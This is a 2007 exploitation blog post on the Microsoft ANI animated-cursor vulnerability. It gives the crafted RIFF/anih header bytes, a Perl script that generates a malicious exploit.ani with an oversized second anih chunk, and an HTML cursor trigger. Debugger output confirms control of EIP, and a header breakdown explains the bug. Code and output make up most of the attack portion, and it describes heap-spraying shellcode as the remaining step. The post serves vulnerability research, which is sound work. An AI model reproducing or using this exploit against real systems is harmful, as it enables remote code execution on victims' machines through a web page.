Software Vulnerability Exploitation Blog

Monday, April 02, 2007

ANI Again: Exploiting Microsoft ANI Vulnerability in 10 minutes

One day after I release the ANI exploit, there are a lot of researches about this vulnerability. May be I don’t have to post about this thing, lol – just kiddies. I will post information about this vulnerability in my own way – how to create the malicious ANI file and how to write the exploit with one of the most easiest way – heap spraying. However, I will not describe the details that other peoples already have described.

Note: I have read many researches about this and I thing these are the interesting research


Now, let’s go.

I start to write the exploit after I read this paper. The paper describes the way that how the attacker partially overwrite EIP. I think the attacker use this technique to bypass ASLR on Vista. The anih header looks like this:

"\x52\x49\x46\x46\x13\x03\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xff\xff\x00\x00\x09\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x04\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4c\x03\x00\x00\x00"
"\x00\x00\x00\x00\x54\x53\x49\x4c\x04\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6e\x69\x68\x52\x00\x00\x00"

The last 4 bytes is the size of anih tag, normally 36 bytes, but in the exploit its value is 0x52 – 82 bytes. This size of header overwrites 2 lower bytes of EIP. Because I have not much time to investigate all of the behavior of bug, I decide to test my assumption with the fastest way. The assumption is that if I overwrite the entire stack (as I do in the VML exploit), I can redirect the flow of execution by the mechanism of Exception Handler. Then, I change the last 4 bytes to:

“\xff\xff\x00\x00”

This value is 65535 in decimal. My ani generator looks like this:

#!/usr/bin/perl

$aniheader =
"\x52\x49\x46\x46\x13\x03\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xff\xff\x00\x00\x09\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x04\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4c\x03\x00\x00\x00"
"\x00\x00\x00\x00\x54\x53\x49\x4c\x04\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6e\x69\x68\xff\xff\x00\x00";

$chunk = "\x0d" x 65535;

$payload = $aniheader . $chunk;

open(ANI, ">", "exploit.ani");
print ANI $payload;
close ANI;

I also create a simple HTML file to call .ani file:

...
BODY style="CURSOR:url('exploit.ani')"
...

I use IE browse the exploit page. This is the result:

(2d8.858): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0013df80 ebx=0000ffff ecx=00003798 edx=0000ffff esi=028621f4 edi=00140000
eip=77d83a85 esp=0013de1c ebp=0013de28 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010207

USER32!LoadCursorFromFileA+0xb2:
77d83a85 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00140000=78746341 ds:0023:028621f4=0d0d0d0d

0:000> dd esp
0013de1c 0013de88 0013df80 0013df80 0013de44
0013de2c 77d83ae0 0013df80 0013de64 0000ffff
0013de3c 02da0048 0000ffff 0013deb0 77d83fe2
0013de4c 0013df80 0013de88 0013de64 0013decc
0013de5c 0013defc 0013df80 0d0d0d0d 0d0d0d0d
0013de6c 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0013de7c 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0013de8c 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d

0:000> g

(2d8.858): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000
eip=0d0d0d0d esp=0013da4c ebp=0013da6c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0d0d0d0d ?? ???

As you can see, EIP is completely controlled. All processes are done only in few minutes. The remaining job is just spraying nop + shellcode into the heap – everything is ended.

Now, it is nothing if I don’t investigate how the bug is exploited. First of all, look at ANI header in the exploit.

RIFF (“\x52\x49\x46\x46”)
Length of File (“\x13\x03\x00\x00”)
ACON (“\x41\x43\x4f\x4e”)
anih (“\x61\x6e\x69\x68”)
Length of Header (“\x24\x00\x00\x00”)
….all data 36 bytes…
LIST (“\x54\x53\x49\x4c”)
Length of List (“\x03\x00\x00\x00”)
….data 3 bytes + 1 byte padding…
LIST (“\x54\x53\x49\x4c”)
Length of List (“\x04\x00\x00\x00”)
…data 4 bytes…
anih (“\x61\x6e\x69\x68”)
Length of Header (“\xff\xff\x00\x00”)

Note: If you don’t know where to find information about the ANI header, to go this site.

Why there are 2 anih headers, One valid header size and another malicious header size, in the exploit ? Just only one anih can’t exploit this vulnerability ? The answer is in this analysis. The first anih header size is checked that is it 36 bytes or not. However, the 2nd anih header is not checked by any piece of code. That’s why the exploit have to use 2 anih header J

P.S. I have not much time to complete analysis the bug on my own. If I have enough time I will describe it in my blog.

P.S. I have no Vista test base, However I think my exploit could also work on Vista on 32 bits machine that doesn’t support NX bit, but it does not confirmed.